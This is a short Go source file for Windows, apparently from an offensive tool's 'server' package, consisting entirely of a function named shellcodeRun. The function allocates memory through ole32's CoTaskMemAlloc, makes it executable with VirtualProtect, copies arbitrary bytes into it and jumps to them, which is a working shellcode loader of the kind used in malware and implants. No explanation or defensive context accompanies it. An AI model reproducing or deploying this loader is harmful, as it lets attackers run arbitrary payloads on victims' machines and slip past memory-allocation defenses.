39 lines
753 B
Go
39 lines
753 B
Go
//go:build windows
|
|
// +build windows
|
|
|
|
package server
|
|
|
|
import (
|
|
"fmt"
|
|
"syscall"
|
|
"unsafe"
|
|
)
|
|
|
|
var (
|
|
kernel32 = syscall.MustLoadDLL("kernel32.dll")
|
|
|
|
old32 = syscall.MustLoadDLL("ole32.dll")
|
|
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
|
|
)
|
|
|
|
func shellcodeRun(code []byte) error {
|
|
defer func() {
|
|
if err := recover(); err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
}()
|
|
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
|
|
l := uintptr(len(code))
|
|
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
|
|
|
|
var old int
|
|
_, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old)))
|
|
h := [3]uintptr{pwstrLocal, l, l}
|
|
s := *(*[]byte)(unsafe.Pointer(&h))
|
|
|
|
copy(s, code)
|
|
|
|
syscall.Syscall(pwstrLocal, 0, 0, 0, 0)
|
|
return nil
|
|
}
|